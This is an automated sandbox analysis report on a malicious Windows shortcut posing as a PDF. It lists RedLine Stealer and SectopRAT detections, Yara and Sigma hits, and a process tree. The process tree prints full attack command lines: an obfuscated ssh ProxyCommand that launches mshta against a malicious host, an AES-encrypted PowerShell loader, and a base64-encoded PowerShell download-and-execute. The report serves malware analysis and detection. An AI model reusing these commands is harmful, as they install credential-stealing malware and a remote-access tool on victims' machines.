Edit tour

Windows Analysis Report
ref095vq842r70_classement_atout_france.pdf.lnk.d.lnk

Overview

General Information

Sample name:	ref095vq842r70_classement_atout_france.pdf.lnk.d.lnk
Analysis ID:	1576536
MD5:	9ac418c2925b4026c3e2a18734f9923b
SHA1:	58b6dc64264e30f32509bb2062ba91b03d91cc6f
SHA256:	352583a6f99cf82c7a2f6c25393a5faf8daae45a1bf04065e33c6fe89a79d065
Tags:	lnkstaticklipxuhaq-shopuser-JAMESWT_MHT
Infos:

Detection

RedLine, SectopRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Windows shortcut file (LNK) starts blacklisted processes

Yara detected RedLine Stealer

Yara detected SectopRAT

AI detected suspicious sample

Connects to many ports of the same IP (likely port scanning)

Encrypted powershell cmdline option found

Powershell drops PE file

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses an obfuscated file name to hide its real file extension (double extension)

Uses known network protocols on non-standard ports

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the product ID of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Lolbin Ssh.exe Use As Proxy

Sigma detected: Suspicious Execution of Powershell with Base64

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

sftp.exe (PID: 4536 cmdline: "C:\Windows\System32\OpenSSH\sftp.exe" -o ProxyCommand="powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']')" . MD5: 72C41AA478CA868F95AD0936AF65818A)

conhost.exe (PID: 3436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ssh.exe (PID: 6204 cmdline: "C:\Windows\System32\OpenSSH\ssh.exe" "-oForwardX11 no" "-oForwardAgent no" "-oPermitLocalCommand no" "-oClearAllForwardings yes" -o "ProxyCommand=powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']')" "-oProtocol 2" -s -- . sftp MD5: C05426E6F6DFB30FB78FBA874A2FF7DC)

powershell.exe (PID: 6596 cmdline: powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']') MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 3252 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://static.klipxuhaq.shop/3VKKE.mp4" MD5: 04029E121A0CFA5991749937DD22A1D9)

mshta.exe (PID: 1600 cmdline: "C:\Windows\system32\mshta.exe" https://static.klipxuhaq.shop/3VKKE.mp4 MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 5016 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function wrdZ($UvhG){return -split ($UvhG -replace '..', '0x$& ')};$ERHgk = wrdZ('ECA586FB867E54D080F88AB849BFB94F298E9D4D174F6B1F2F81610C3540C56191E34FB7B2DF87630478E180DACA97337CF338C5F0549579E18CC1A49A1339F9691FAE2EDAAC0D6E2AB4913030D45E7F9C40731A7B0ED45F438D15D573AB5E4816A3D8CA82DAA342D630EDB6E24E85F4D05E0447A728444A18214CD35DB1FD5C4C677BF1EB6DD62A0D4B42A5F996D056A8C58BF2B2ADC007CA0004F35EEDF7DB06CC47C0E8175257375360952646DDCE12F86A389A2FB4F08F04DF71ABBD10CA19394807E45AE262B4CF2BD880666BE9808038992E086339CA69F730462BD5BA268BEA9591B45C3FDDC4B990452C3C5B083B1D8A99DB9D344BE7F259679F7994FBAA4E272654402905FEB107236FDE83FA247F6DFF5EE2DE2FBE984DE8D33A5077EC31D65DAE7AAC344DB18BADD0E59C3DC0A20AA1776387E75ED82F6F21E81D436D435FE7641490C8BB3BE615F9D76B1F8A1323001EC29CB1DC720A20647927291ABFCCFF409B1F94A878B0CDB0AFF68E11DAF8B2CCB95D3B395C11FB1D2F79673936E5F6AF545B019BFDE71CDAC1667709524F9244C6D8B3198F1F28C92F507AF233B70FD15099184E521AA3D1F4EB4613BE4CC9617FD5EE373CB05A7B164A2B6211387C494F7FC2F64FB4B0EEC11B39FFCC4E09EE10E96070192D4E0E2AD737B857A3BA8766EF8B454E4CC9BAE60331184407821C7F5A417DEBB95885CD929FAC64B5913D45E20BA92710C789EA36BC01ED629BAAEEFB8F420E9D966E4669DB7E1EE213C1001073B4FB67BB454BA80B0144D096E4FA221E9AB74FB2FDA2CBBA9C669EB50610B810047A6A75A1E41407350666C1B141836EA4FB3C9588111CE216EB2E451248C7008EA09561E08463428A981B69214151A19DD58483CB4A07DA879953AA3FDBF8EC16A79ACD16FBF54B34E405FCE7D15727908982C71DB4EC3160579745FCBC610756535558573F49618C7606881E9C8F026001D9C1C40FD2462CC1EC3DCF620D160F23D6F789F8CAA4EE9835FD65AA1D0E0278809DE0D85C1295E58C782AAFF7016B75C2FBB65FE1F73E7B038C89BAA57C32930D22EE8C71A06F4A2C738995833A10226ECDFB07ECD5F6DA31617797E009FA791AB33D9189A3A8E44428EFC9D7C6FAC3474FD38038FE910BBB036CFF902B287315F807FAAA06AED95210DDE82DAEAC0A523D871AE53C0EF75EF61B9A57F8F33A81ABD5D297C8FA835397595E7202A8E9007FFC7EDE814D001B798D89293879C641BE0707A91665E5503FECF99138AC09675DB1C070F4CF90193587A5FFC1CEE76401544370EB81704BA787C0CD04C9585C45A98FE309B624E2A8DF58992BFB2E28E05D3E083F40D7259170B815F21C934D9A6B716FB374544D200AC2F51F83FF6015BF31FAF855ACD6F94C4EDCFFE1B1B1E84CD0DCE3476BE438811875890C244AF355F5A99D60D3FE596651A7FCE949EF11B75A3E47270440D77D7293E40B99F248B7EA50AE844851B9FCECC2A42A543848822154E0BDE72E753A37ABBC37D5A523E44824FDECB7EA3DA94AE0BC489AFB57E7FF8B9D330E6B6CF749C38703F35FBB8C7524C1CC772CB6E97F52B9A303F765EEA1CF88781CF03DBAF4E05C5E83D04900C62AE76C9060D2EF02C6358A9C35D3C5CADDA4513FE8720161EE8D258C9D8738089620A44FDD02266B9393340D2A4D6DF53670CE0EAC8ADF596CBD6821F99D9AA7D32C9C1C8CDD6A112CF9684123E95FA54979737993CA2ED54A8E4E7B526955F3B82D4D1180DCF858A68E630366BAE559198412C920E3DF514DC1275386D42B0CF7D7800F9A9C56DF30AC55BB715221A65AC5F1B6C047475AF5D327C3E5F8421DC5507C9898E1CA30BC70D6ED81C7FBE88DC6473A1B361F63E277C1B83D0BA47D9D3A44BB1ED147D9E3D1391B4E0C9728E31F4600C8F8CDC7EA1BB362F215217B57B713C7F2C9B60FFBB1ABFF32654C427DAA0BD39D0753919D0F4F7B47FF923BD6168030D3B1CA13A0BC8AE221E2EFF957C435C969E04687A2C6C904546412E258E176D90F2AB2610D646A04013170A7E91553C26CB19E387AC2878C25187D9EC33EAC057D9448A0E50970D725F4AE31251B623B0B5A305DCAC452B7DA140F210FCC343D9FBD0EC51684312B709C31444AACFA23CFEAB3AE4AC1C6A879FE470B6416CEBB2F178AE84573C53893E06FC0AE6ECFC03F4C90F076720D4B810C012F09743B0BF027AFB2E867A6E3F73245EFE09DF5DCE804610D56D01DC824BF35F45CB7EDA5CD64F311A3B61FE521DA848A9CAB24E748591B220CEEFE7D9A36BBC1E5F24BF30F5CE52169CB97FAAE75575413CD60AE32FC1A6CC27C9980085CDA2F8C27D87CA1FF168195891536630388FFCD9C372990E8DB3035DB41B4F05649EDF35A78D27B65607BED7BF574919DED94333AA2853E49B351986E8299E7F8CB9EB1BB9794F03018AB908F931503BFEACE65F8679C093B2329E97B124254753C5C544C2750918D3F7D58E7556F9CDBE22D8EF4E087662E02BE99BDC7FEBE9725EC81D8FFEAB94C47300957B76133483633F4C417A4E36BE4BA53126A232E102EAE8CFBF4D04771B0B17331D769C9868C1BA21D79B62C6156B711C4DA2AE26EA3AC3AA1234E4D38FA65E44011BF70B4B8164D5F6803D08C5EF5B31BAAF7604E5ED04E78508A96C33DC3492F83F453FD1E760E7AF8934042152026B411DA5D050D3FD8CCD624AC5D4F6ACF0304BA03E7EA0E9E334B99AA805A7D4CD723334E8FF067C594EBB0E5C6E10C35DFAEDF91E5435A572165C3928CD8C7A89E4B018B67367579AC884AE72CC15C6507DD451FA613ABABFB1BEB49E6524CDCFC6DFC638DBC730BE50DE2F5E34D5F663DF4F56A2742C0A7FF04F9AD3FEE4DF08653E02F23B90B05B4B5E605FD41CFF536CB679848F513DD2D7927CE2E9E159E7FE452FD3CA59EA983EB5045FD03D30192780BC10C8AC0A57B49F8DC235CB74504E0E301B1C0E41DABA9A975A56696157984A6AD4A76AE095BFD4669183463DD41D43595B0446410F94FD2B2C020C103C2A0BAB641ABF60DFAEBDE549EF5A220BCE98226A0CE20B9225E1385E98ADFBA9CF1850D7F113DB328BE5E3C9340A2A952E676B9BEC2B6120988762635F70A05D2B777638385AD00F32DE0C206E562B0C2195FC2AD184ED4D67B68C93D7210AA4A20118614889E0786C0E9C0FC28EF8F771F6320C8D924C92FBFA72E2F719D17C1A309B8EB56AA40BBF5DFC35CAC2B40719ADE0D17B5052200F6EF4BB1C7B93D9C0944E8005D65AC117C7B894D5EEC87F17109C1949668FFDC7A4CA6C940B88918C3DE04F4A4CC43DE2D7131D26A49125B2C46CFCEE8AF68EAAEC1AEF8D3C8C1BDD83E8126909DCB7CCEB105D450824ACCDB5C4E8A86CD12F1D1AF6BB83D6F2EAD63BB04655509F1109DCB3566BF352891E4BD45C18681F6E05F6BCB9621FA298C87220A4C95FD32B57EB11E136B0F2B1EA66CDA02C81C9506E52D8DDB49AAEB7BF8338DC00C174FC70E63AC9A2DB86B995EFD4E27B06E95285A47557301FBFA59F163C94BC198DBC2E9A3AABEDDAB1968AD63CC18FBBD99FCC92C4B66F67B13E361C60F5DE165F887A5FD810B1FC0D81F20D34B77231A785EA4F3C2FABF388D5F425D0B49D28D797587AD2A76BB48EBCAA42A261893ED1243B7B8B39A642FB81DE7693B76CABA8D573C7CDB16F821D88C0A82B778C8B6A7041CFB6AE7518394091122A37BA9A348655774955AC96E899B16C45DD9F498BF83331A78A07D675E0F617E2302DD1BE067435EF00E8CE909F6997221E215908093F119F9E973D693875506C00344360E305434E218FDBB34B36412FEB62E4B519613672B8D0572BAD09FF488FB9CAE9A7C1FE5D3FB245FB243F1502CBA5B42C3CE66FC0C6F92DA0F28B9FC0925F12D5DF11D10D4F3E965D5025E2246B6E0B2A80B2B0B9780F6AD69813C90E900DD592BF5CD589A648E97917D567418BB6C536052204E09FA189445CF4D138D886258BCA2C85028723BA69A14D89DC4C5FE6415BA90A1387A444AA3A25EBEC36D5F01425A866E96BBA5707D665D69B73587240C5BB26999293879135BC569AB94BC5D8B8171BDAFD8ACE9403BC1BE80B00859E9B66A116F1F4F1F61E999A2910C8BA17673DD98B2B1C5531DC9E5BE8CD421CC04F219A1A0CB2BC4FA49CC317D1110D35CA05E5ABE31F2A39C7B38F6E5480485B0');$fkxI=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((wrdZ('71747743676D42704F54615370636865')),[byte[]]::new(16)).TransformFinalBlock($ERHgk,0,$ERHgk.Length)); & $fkxI.Substring(0,3) $fkxI.Substring(433) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6776 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Hidden -EncodedCommand JABhAEoAdwA3AD0AIgB1AHAAZABhAHQAZQByAC4AZQB4AGUAIgA7ACQAawBOAHIAMwA9AC0AagBvAGkAbgAoACgANgA1AC4ALgA5ADAAKQArACgAOQA3AC4ALgAxADIAMgApAHwARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0AHsAWwBjAGgAYQByAF0AJABfAH0AfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKwAiAC4AYgBpAG4AIgA7ACQAagBYAHEANAA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEMAaABpAGwAZABQAGEAdABoACgALQBqAG8AaQBuACgAKAA0ADgALgAuADUANwB8AEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAB7AFsAYwBoAGEAcgBdACQAXwB9ACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKQA7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAagBYAHEANAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7ACQAcABIAHQANgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAYQBKAHcANwA7ACQAcwBXAGYAMgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAawBOAHIAMwA7ACQAdgBQAGIAOQA9ACIAaAB0AHQAcABzADoALwAvAGMAbgBkAGUAZgAxAC4AZwByAGUAZQBuAC0AcABhAHQAaAB3AGEAeQBzAC4AcwBoAG8AcAAvAGEAcABpAC8AdQB6AC8ANwA1ADUAMgA5ADcAMwA2ADUAMAAvAHUALgBiAGkAbgAiADsAJAB4AFEAZAA1AD0AIgBoAHQAdABwAHMAOgAvAC8AYwBuAGQAZQBmADEALgBnAHIAZQBlAG4ALQBwAGEAdABoAHcAYQB5AHMALgBzAGgAbwBwAC8AYQBwAGkALwB1AHoALwA3ADUANQAyADkANwAzADYANQAwAC8AbgBuAG4ALgBiAGkAbgAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdgBQAGIAOQAgAC0ATwB1AHQARgBpAGwAZQAgACQAcABIAHQANgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB4AFEAZAA1ACAALQBPAHUAdABGAGkAbABlACAAJABzAFcAZgAyACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABIAHQANgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAHMAVwBmADIAOwAmACAAKABbAHMAYwByAGkAcAB0AGIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgAKAAnAGUAJwArACcAeABpACcAKwAnAHQAJwApACAALQBqAG8AaQBuACAAJwAnACkAKQApAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

updater.exe (PID: 8112 cmdline: "C:\Users\user\AppData\Local\Temp\48216953\updater.exe" C:\Users\user\AppData\Local\Temp\48216953\OZxvrKbf.bin MD5: C56B5F0201A3B3DE53E561FE76912BFD)

InstallUtil.exe (PID: 5004 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

Acrobat.exe (PID: 5472 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\ref095vq842r70_3rd_party_authorisation_form.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7376 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7540 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1596,i,2208651499941348974,16461563014979243643,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

svchost.exe (PID: 4296 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

AutoIt3.exe (PID: 5840 cmdline: "C:\ehcfdbh\AutoIt3.exe" C:\ehcfdbh\bhcbhah.a3x MD5: C56B5F0201A3B3DE53E561FE76912BFD)

InstallUtil.exe (PID: 4448 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

AutoIt3.exe (PID: 6764 cmdline: "C:\ehcfdbh\AutoIt3.exe" C:\ehcfdbh\bhcbhah.a3x MD5: C56B5F0201A3B3DE53E561FE76912BFD)

InstallUtil.exe (PID: 1248 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000016.00000002.2636402975.0000000004238000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000002.2636402975.0000000004238000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000002.2631786260.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000002.2631786260.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000002.2486408621.0000000004008000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.2486408621.0000000004008000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000016.00000003.2628465496.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2628465496.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000003.2706163073.0000000005300000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000003.2706163073.0000000005300000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000003.2477972557.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2477972557.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000003.2477864662.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2477864662.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000016.00000003.2628036401.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2628036401.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000003.2706323097.0000000005100000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000003.2706323097.0000000005100000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000002.2711167576.0000000004958000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000002.2711167576.0000000004958000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: powershell.exe PID: 5016	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x148ed6:$b1: ::WriteAllBytes( 0x149bac:$b1: ::WriteAllBytes( 0x4d7f:$s1: -join 0x664c:$s1: -join 0x8117:$s1: -join 0x2da9f:$s1: -join 0x3ad20:$s1: -join 0x3e1e2:$s1: -join 0x3e87c:$s1: -join 0x40378:$s1: -join 0x425da:$s1: -join 0x42e01:$s1: -join 0x43672:$s1: -join 0x43dad:$s1: -join 0x43ddf:$s1: -join 0x43e27:$s1: -join 0x43e46:$s1: -join 0x44697:$s1: -join 0x44813:$s1: -join 0x4488b:$s1: -join 0x4491e:$s1: -join
Process Memory Space: updater.exe PID: 8112	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: updater.exe PID: 8112	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: updater.exe PID: 8112	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 5004	JoeSecurity_SectopRAT	Yara detected SectopRAT	Joe Security
Process Memory Space: InstallUtil.exe PID: 5004	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AutoIt3.exe PID: 5840	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: AutoIt3.exe PID: 5840	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AutoIt3.exe PID: 5840	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 4448	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 4448	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: AutoIt3.exe PID: 6764	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: AutoIt3.exe PID: 6764	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AutoIt3.exe PID: 6764	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 29 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
23.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
23.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
23.2.InstallUtil.exe.400000.0.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\mshta.exe" https://static.klipxuhaq.shop/3VKKE.mp4, CommandLine: "C:\Windows\system32\mshta.exe" https://static.klipxuhaq.shop/3VKKE.mp4, CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://static.klipxuhaq.shop/3VKKE.mp4", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3252, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\mshta.exe" https://static.klipxuhaq.shop/3VKKE.mp4, ProcessId: 1600, ProcessName: mshta.exe

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

